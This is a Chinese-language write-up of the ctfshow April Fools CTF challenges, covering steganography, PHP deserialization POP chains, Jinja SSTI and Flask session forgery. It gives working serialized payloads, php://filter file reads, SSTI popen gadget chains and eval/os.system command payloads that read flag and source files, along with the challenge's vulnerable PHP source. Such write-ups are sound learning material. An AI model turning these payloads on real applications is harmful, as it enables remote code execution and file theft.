ctfshow愚人杯

其他

签到

hint如下:

image-20230404211906983

没想到他flag直接就是中文”一个不能说的秘密”,涨见识了

1
ctfshow{一个不能说的秘密}

MISC

奇怪的压缩包

下载下来是一个加密的压缩包,按照惯例先试试是不是伪加密

image-20230404212240131

image-20230404212308114

这两个位置都换成00 00,保存打开得到black.png

image-20230404212400755

显示了半截,先猜测高度隐写

image-20230404212648742

把第二段的96改成等高度384试试

image-20230404212730674

得到全文,但是还是得binwalk看一下有没有藏比

image-20230404235003535

有藏比,用foremost分离一下得到一个png和zip文件

其实在black.png最后边有提示key,base64之后就是“yurenjie”,这是压缩密码

image-20230404235153184

得到flag.png,还是高度隐写,修改之后就能得到flag

image-20230404235248682

1
ctfshow{Th1s_i5_f1ag}

WEB

easy_signin

是个base64编码之后传值到img显示图片

把index.php base64后传进去得到flag

image-20230404235735530

解码得到内容

image-20230404235801368

1
ctfshow{eff420e3-947e-4c4b-816a-ed8810990daf}

被遗忘的反序列化

这题解法太多了,能用php原生类做,学长两步就直接做出来了,根本没用到加密函数

法一

我的步骤还是有点繁琐

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
<?php

# 当前目录中有一个txt文件哦
error_reporting(0);
show_source(__FILE__);
include("check.php");

class EeE{
public $text;
public $eeee;
public function __wakeup(){
if ($this->text == "aaaa"){
echo lcfirst($this->text);
}
}

public function __get($kk){
echo "$kk,eeeeeeeeeeeee";
}

public function __clone(){
$a = new cycycycy;
$a -> aaa();
}

}

class cycycycy{
public $a;
private $b;

public function aaa(){
$get = $_GET['get'];
$get = cipher($get);
if($get === "p8vfuv8g8v8py"){
eval($_POST["eval"]);
}
}


public function __invoke(){
$a_a = $this -> a;
echo "\$a_a\$";
}
}

class gBoBg{
public $name;
public $file;
public $coos;
private $eeee="-_-";
public function __toString(){
if(isset($this->name)){
$a = new $this->coos($this->file);
echo $a;
}else if(!isset($this -> file)){
return $this->coos->name;
}else{
$aa = $this->coos;
$bb = $this->file;
return $aa();
}
}
}

class w_wuw_w{
public $aaa;
public $key;
public $file;
public function __wakeup(){
if(!preg_match("/php|63|\*|\?/i",$this -> key)){
$this->key = file_get_contents($this -> file);
}else{
echo "不行哦";
}
}

public function __destruct(){
echo $this->aaa;
}

public function __invoke(){
$this -> aaa = clone new EeE;
}
}

$_ip = $_SERVER["HTTP_AAAAAA"];
unserialize($_ip);

就四个类,还是很好做的

由于不知道其中cipher()函数的加密方式,所以得先看看包含的check.php内容是什么(byd他说的那个txt根本扫不出来,还是我最后做完才翻的目录是h1nt.txt💧)

在w_wuw_w类中有file_get_contents()函数可以方便的把$file外带出来,但是他只在destruct的时候echo出$aaa,所以就要用到之前狗学长说过的引用&赋值

让$aaa = &$file,使得这两个变量指向相同地址,这样两个变量的内容就会同时改变

构造出payload:

1
2
3
4
5
$w_wuw_w = new w_wuw_w();
$w_wuw_w -> key = 'test';
$w_wuw_w -> file = 'check.php';
$w_wuw_w -> aaa = &$w_wuw_w -> key;
O:7:"w_wuw_w":4:{s:3:"aaa";N;s:3:"key";s:4:"test";s:4:"file";s:9:"check.php";s:0:"";R:3;}

外带出check.php的内容

image-20230405001238222

略加修改一下就得到了具体的内容,分析一下能写出解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
def decrypt_string(input_string):
charset = "qwertyuiopasdfghjklzxcvbnm123456789"
shift = 4
shifted = ""
for char in input_string:
pos = charset.find(char)
if pos != -1:
new_pos = (pos + shift + len(charset)) % len(charset)
shifted += charset[new_pos]
else:
shifted += char
return shifted
print(decrypt_string('p8vfuv8g8v8py'))

得到原本get该传入的值:fe1ka1ele1efp

由w_wuw_w的echo函数又可以调用__toString,总结一下得到pop链

1
2
w_wuw_w::__destruct() -> gBoBg::__toString() -> w_wuw_w::__invoke() -> EeE::__clone() -> cycycycy::aaa()
O:7:"w_wuw_w":3:{s:3:"aaa";O:5:"gBoBg":3:{s:4:"name";N;s:4:"file";s:4:"test";s:4:"coos";O:7:"w_wuw_w":3:{s:3:"aaa";N;s:3:"key";s:2:"63";s:4:"file";N;}}s:3:"key";s:2:"63";s:4:"file";s:9:"check.php";}

同时传入?get=fe1ka1ele1efp;eval=system(‘ls /‘);

就可得到flag

image-20230405001615152

cat一下就行

image-20230405001637044

1
ctfshow{be571200-b78b-4bfe-ba08-71787e58acb6}

法二

1
2
3
4
5
6
7
$a=new w_wuw_w();
$b=new gBoBg();
$a->aaa=$b;
$b->name=123;
$b->coos="SplFileObject";
$b->file="php://filter/convert.base64-encode/resource=/flag";
echo serialize($a);

加请求头

1
2
AAAAAA:O:7:"w_wuw_w":3:{s:3:"aaa";O:5:"gBoBg":3:{s:4:"name";i:123;s:4:"file";s:11:"glob:///*f*";s:4:"coos";s:17:"DirectoryIterator";}s:3:"key";N;s:4:"file";N;}
#得到文件名:f1agaaa
1
AAAAAA:O:7:"w_wuw_w":3:{s:3:"aaa";O:5:"gBoBg":3:{s:4:"name";i:123;s:4:"file";s:52:"php://filter/convert.base64-encode/resource=/f1agaaa";s:4:"coos";s:13:"SplFileObject";}s:3:"key";N;s:4:"file";N;}

用的是php原生类,glob直接查flag,SplFileObject查flag,太快了

easy_ssti

法一

提示

image-20230405002511299

打开看到是常见的ssti

image-20230405002546148

用hackbar的ssti换几个试试,找到app.py的源码

image-20230405002846077

很明显,要求过滤了f和/,但是如果里边有ge就可以正常解析

由于要先出现ge,那就构造shell

1
ge="test";cd ..;cat flag

得到flag

image-20230405003607596

1
ctfshow{1fe332f3-a27d-44f2-b864-2416b80c021e}

其实扫网的时候有console目录,也可以通过ssti得到机器信息算出pin码直接执行python命令,不过更复杂了

法二

相似,只不过狗学长用的cat命令更巧妙,没有构造ge

1
cat ${PATH:0:1}[9-q][9-q][9-q][9-q]

用${PATH:0:1}代替/,正则[9-q]匹配flag四个字母

法三

官方给的题解

1
/hello/{{ "".__class__.__base__ .__subclasses__()[132].__init__.__globals__['popen'](request.args.get("ctfshow")).read()}}ge?ctfshow=cat /flag 

easy_flask

打开是个登陆页面,用sqlmap也爆不出来,就尝试直接注册登陆看看内容

登陆进去提示我的角色是user,当角色是admin的时候会给出东西

image-20230405120423293

再看看learn的内容

image-20230405120609765

给出了app.secret_key = ‘S3cr3tK3y’,在burp里又能看到cookie内容

image-20230405120639690

base64解码出来就能看到信息

image-20230405120713026

所以就用工具伪造一下session

image-20230405121020273

加密后用burp传进去就有任意文件下载的功能

image-20230405121111065

看一下app.py是怎么写的

image-20230405121604328

image-20230405121621759

分别给出了admin的密码和一个hello路径,有eval利用

1
?eval=__import__('os').system('ls / > test')

然后任意文件读取test

image-20230405122559265

1
?eval=__import__('os').system('cat /flag_is_h3re > test')

或者更直接一点

1
?eval=__import__('os').popen('cat /*f*').read()

得到flag

1
ctfshow{d7cbfb77-b2fb-47ee-ade9-e78bd40c9871}

easy_base

一把梭脚本

image-20230405124031283

1
ctfshow{yu_ren_j1e_haPpy!!!}
  • Copyrights © 2022-2024 b1xcy